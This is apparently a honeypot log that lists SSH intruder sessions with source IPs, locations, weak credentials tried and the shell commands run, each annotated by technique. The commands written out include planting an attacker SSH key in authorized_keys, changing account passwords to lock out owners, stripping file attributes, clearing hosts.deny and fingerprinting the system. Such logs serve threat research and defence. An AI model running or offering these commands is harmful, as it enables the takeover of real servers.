$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "oracle@2024\nbsiwdF7O2haR\nbsiwdF7O2haR"|passwd|bash

$ Enter new UNIX password:

$ echo "oracle@2024\nbsiwdF7O2haR\nbsiwdF7O2haR\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 phantom_root_41 (45.10.175.193) — Hong Kong, Hong Kong · 2 sessions · 38 cmds

2026-07-03 16:21 EDT · as root/123qwe456, root/202620

Ran uname 5x across 5 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×2 // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×2 // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l ×2 // CPU profiling

$ echo "root:SXTowOMb7Mvl"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; ×2 // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ×2 // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ×2

$ ls -lh $(which ls) ×2

$ which ls ×2

$ crontab -l ×2 // persistence setup

$ w ×2 // logged-in users check

$ uname -m ×2

$ cat /proc/cpuinfo | grep model | grep name | wc -l ×2 // CPU profiling

$ top ×2 // process monitoring

$ uname ×2 // OS identification

$ uname -a ×2 // OS/kernel identification

$ whoami ×2 // privilege check

$ lscpu | grep Model ×2

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ×2

$ echo "root:ux33Ex1M3vOP"|chpasswd|bash

🎭 panda_root_14 (118.196.119.108) — Haidian, China · 1 session · 19 cmds

2026-07-03 16:29 EDT · as root/Admin@321

file attribute tampering → SSH key persistence → CPU profiling → execute from /tmp → persistence setup

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:mtdvZ5MNOfFU"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 shogun_root_2 (210.169.192.47) — Setagaya City, Japan · 2 sessions · 38 cmds

2026-07-03 16:22 EDT · as root/!@#QWE123qwe, root/temptemp

Ran uname 5x across 5 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×2 // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×2 // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l ×2 // CPU profiling

$ echo "root:CWmwXQKaIqXQ"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; ×2 // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ×2 // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ×2

$ ls -lh $(which ls) ×2

$ which ls ×2

$ crontab -l ×2 // persistence setup

$ w ×2 // logged-in users check

$ uname -m ×2

$ cat /proc/cpuinfo | grep model | grep name | wc -l ×2 // CPU profiling

$ top ×2 // process monitoring

$ uname ×2 // OS identification

$ uname -a ×2 // OS/kernel identification

$ whoami ×2 // privilege check

$ lscpu | grep Model ×2

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ×2

$ echo "root:Hzdab532SNHu"|chpasswd|bash

🎭 rogue_root_21 (36.50.151.66) — Depok, Indonesia · 3 sessions · 58 cmds

2026-06-30 08:23 EDT · as oracle/oracle@2024, root/1qaz@Wsx, root/Abcd123456!@#$%^

Ran uname 5x across 5 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×3 // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×3 // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l ×3 // CPU profiling

$ echo -e "oracle@2024\ntBtqZwBm4v0l\ntBtqZwBm4v0l"|passwd|bash

$ Enter new UNIX password:

$ echo "oracle@2024\ntBtqZwBm4v0l\ntBtqZwBm4v0l\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ×3 // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ×3

$ ls -lh $(which ls) ×3

$ which ls ×3

$ crontab -l ×3 // persistence setup

$ w ×3 // logged-in users check

$ uname -m ×3

$ cat /proc/cpuinfo | grep model | grep name | wc -l ×3 // CPU profiling

$ top ×3 // process monitoring

$ uname ×3 // OS identification

$ uname -a ×3 // OS/kernel identification

$ whoami ×3 // privilege check

$ lscpu | grep Model ×3

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ×3

$ echo "root:jgtZzQhPyxnA"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; ×2 // execute from /tmp

$ echo "root:EyWkjdttTvRL"|chpasswd|bash

🎭 specter_root_35 (152.169.164.2) — Avellaneda, Argentina · 1 session · 19 cmds

2026-07-03 16:24 EDT · as root/!@#QWE123qwe

Ran uname 5x across 5 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:ERiSGk6jhsq8"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 panda_root_15 (117.57.205.36) — Hefei, China · 1 session · 19 cmds

2026-07-03 16:23 EDT · as root/Admin@321

Ran uname 5x across 5 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:BlTBU9CFdAPo"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 silk_root_11 (182.44.12.151) — Jinan, China · 1 session · 19 cmds

2026-07-03 16:22 EDT · as root/123qwe456

Ran uname 5x across 5 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:ctMONzRCjy1g"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 rogue_root_39 (91.92.215.12) — Tehran, Iran · 1 session · 20 cmds

2026-07-03 16:22 EDT · as oracle/oracle@2024

Ran uname 5x across 5 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "oracle@2024\nDQW9BTaAGqMi\nDQW9BTaAGqMi"|passwd|bash

$ Enter new UNIX password:

$ echo "oracle@2024\nDQW9BTaAGqMi\nDQW9BTaAGqMi\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 stein_root_6 (94.159.98.16) — Frankfurt am Main, Germany · 1 session · 1 cmd

2026-07-03 15:19 EDT · as root/8610uster!

process monitoring

$ top // process monitoring

🎭 shadow (123.231.115.91) — Kurunegala, Sri Lanka · 1 session · 20 cmds

2026-07-03 15:15 EDT · as ki/123456

process monitoring

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "123456\nSYWkTHbGunBe\nSYWkTHbGunBe"|passwd|bash

$ Enter new UNIX password:

$ echo "123456\nSYWkTHbGunBe\nSYWkTHbGunBe\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 blitz_root_6 (178.254.44.49) — Berlin, Germany · 1 session · 1 cmd

2026-07-03 15:11 EDT · as root/8610uster!

hostname discovery

$ hostname // hostname discovery

🎭 panda_root_16 (111.228.35.131) — Beijing, China · 1 session · 1 cmd

2026-07-03 14:46 EDT · as root/------fuck------

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -s -m

🎭 ghost_root_2 (195.178.110.217) — Andorra la Vella, Andorra · 1 session · 9 cmds

2026-07-03 14:24 EDT · as root/123456

Ran 9 unique commands across 1 sessions.

$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E "^model name" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E "^Hardware" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; echo '===DONE===' ) 2>&1 ); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"; echo "FILTER:$filter_output"

$ uname -s -v -n -m 2 > /dev/null

$ /bin/uname -s -v -n -m 2 > /dev/null

$ /usr/bin/uname -s -v -n -m 2 > /dev/null

$ busybox uname -s -v -n -m 2 > /dev/null

$ ( [ -f /proc/version ]

$ [ -f /proc/version ]

$ head -1 /proc/version | cut -d -f1

$ [ -f /etc/os-release ]

🎭 spice (34.14.214.227) — Mumbai, India · 1 session · 20 cmds

2026-07-03 12:52 EDT · as ups/ups

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "ups\nzkSmxjBHghgQ\nzkSmxjBHghgQ"|passwd|bash

$ Enter new UNIX password:

$ echo "ups\nzkSmxjBHghgQ\nzkSmxjBHghgQ\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 poutine_root_2 (65.7.2.44) — Vancouver, Canada · 1 session · 1 cmd

2026-07-03 12:10 EDT · as root/123456

CPU profiling

$ echo "TEST"; echo -n "System :"; lsb_release -d | awk -F':' '{print " "$2}'; echo -n "Apt : "; which apt; echo -n "Cpu speed :"; cat /proc/cpuinfo | grep 'cpu MHz' | uniq | awk -F: '{printf " %.3f\n", $2}'; echo -n "Cpu count : "; nproc; echo -n "Memory : "; free -h | awk '/Mem:/ {print $2}' // CPU profiling

🎭 tulip_root_5 (52.232.19.79) — Amsterdam, Netherlands · 1 session · 1 cmd

2026-07-03 11:48 EDT · as root/blackcat

Ran uname 3x across 3 sessions — automated OS fingerprinting.

$ uname -a // OS/kernel identification

🎭 strudel_root_13 (2.26.49.159) — Frankfurt am Main, Germany · 1 session · 1 cmd

2026-07-03 11:09 EDT · as root/Test@2022

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -s -m

🎭 cipher_root_21 (60.250.246.239) — Bade District, Taiwan · 1 session · 20 cmds

2026-07-03 10:22 EDT · as health/123456

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "123456\nmG4FVO9rVvJb\nmG4FVO9rVvJb"|passwd|bash

$ Enter new UNIX password:

$ echo "123456\nmG4FVO9rVvJb\nmG4FVO9rVvJb\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 pretzel_root_4 (43.165.62.10) — Frankfurt am Main, Germany · 1 session · 19 cmds

2026-07-03 10:19 EDT · as root/Beijing2008

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

